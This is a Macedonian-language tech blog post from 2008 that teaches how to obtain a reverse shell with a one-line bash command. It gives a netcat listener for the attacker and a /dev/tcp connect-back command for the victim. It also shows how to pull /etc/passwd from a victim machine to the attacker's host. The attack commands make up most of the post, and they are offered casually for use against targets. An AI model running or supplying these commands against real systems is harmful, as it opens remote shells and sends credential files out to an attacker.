Почетна arrow Стефан Петрушевски arrow Софтвер arrow Reverse shell во bash
 
 
Uid=0
Софтвер, Интернет, Програмирање, Сигурност и заштита
RSS Канал  
Е-пошта  
Биографија  
 
 
Стефан Петрушевски
 
Reverse shell во bash Испечати Е-пошта
Автор: Стефан Петрушевски   
Објавено на: 07.07.2008
Во хакирањето добивање контрола врз shell-от на метата, а со тоа и (скоро) комплетен пристап до сите информации кои ги барате отсекогаш било “најсветото“ нешто при секој напад. Едно од сценаријата е и искористување на некој баг при што не се добива целосно фунционален shell пристап или пак при пишување на експлоит потребно е напаѓачот да може да добие контрола над системот. За среќен крај во приказните потребно е да се “врати“ shell и напаѓачот да го добие пристапот кој го сака/бара. За истото постојат повеќе начини, нормално, посложени и поедноставни.

Во овој постот тоа ќе го сторам “во духот“ на текстот кој го напишав за користење на netcat.

Connect-back shell на повеќето Линукс системи може да го добиете користејќи единствено bash скрипта од една линија. Ова значи дека методот ќе може да го користите и истиот ќе биде успешен во 90%+ случаеви бидејќи се што користите се веќе вградени работи. Значи не треба ништо посебно да преземате, да компaјлирате, да средувате или други чуда.

На компјутерот на напаѓачот (hostAttacker) со netcat се закачуваме на некој порт:
nc -l -v -p 1111

А на жртвата извршуваме:
$ bash -i >& /dev/tcp/hostAttacker/1111 0>&1

Да, толку е. Симпатично нели?

Исто може да го користите овој метод и да префрлите некој фајл на компјутерот жртва. Слично како и само ако користите netcat:
На напаѓачот (hostAttacker):
cat fajl.txt | nc -l -v -p 1111

А на жртвата:
bash -i >& /dev/tcp/hostAttacker/1111 0>&1 > fajl.txt

Или обратно (префрлување на фајл од жртвата на компјутерот на напаѓачот).
Напаѓач (hostAttacker):
nc -l -v -p 1111 > etcpasswd

Жртва:
cat /etc/passwd > /dev/tcp/hostAttacker/1111

итн.

Методот за socket програмирање во bash работи на Redhat, Suse, Mac OS X Leopard и веројатно други додека на Debian не е овозможено со дадената инсталација. За останатите незнам, надополнете ја листата преку коментарите откако ќе пробате.



Клучни зборови:  Хакирање   Софтвер   NetCat   Баг   Информации   Систем   Shell   Bash   Reverse Shell   hostAttacker   Линукс

 
Сподели:
Кајмакот
Digg
Technorati
Stumble
Reddit
YahooMyWeb
Delicious
Ma.gnolia
Facebook
Spurl

Facebook нации

Според добиените статистики од Facebook во април, 2009 скоро 143.000 жители на Македонија (околу 7% од популацијата) имале свој профил на оваа друштвена мрежа. Истиот месец, 10% од србите биле Facebook корисници, додека само 3.4% од бугарите а 13.4% од хрватите биле FB членови.
Корисничко име

Лозинка



RSS канали на it.com.mk

Прашалник

Од каде се информирате?

(117 глас/а)

  • 22.2%
  • 19.7%
  • 35.9%
  • 13.7%
  • 8.5%

Низ it.com.mk Блог Сервиси Маркетинг
Вести
Статии
Форум
Рецензии
Совети & трикови
Преземања
Настани
Барометар
Едуцентар
Препорачуваме
Сите блогови
е-Бизнис 2.0
Од различен аспект
Uid=0
Хардверманија
Компјутерска сигурност
Apple
Линукс блог
Веб-Соц Свет
Членство
Е-билтен
RSS канали
PDA верзија

Профили
Facebook профилTwitter профилIT.com.mk @ Flickr
IT.com.mk @ YouTubeLinkedIn профилFriendFeed профил
Каква музика слушаат ИТ луѓето?Препорачуваме линкови преку Delicious Главен RSS канал
IWM NETWORK - iwmnetwork.com
ИТ Консалтинг, Интерактивен маркетинг, Истражувања и анализи, Веб дизајн...

IT.com.mk маркетинг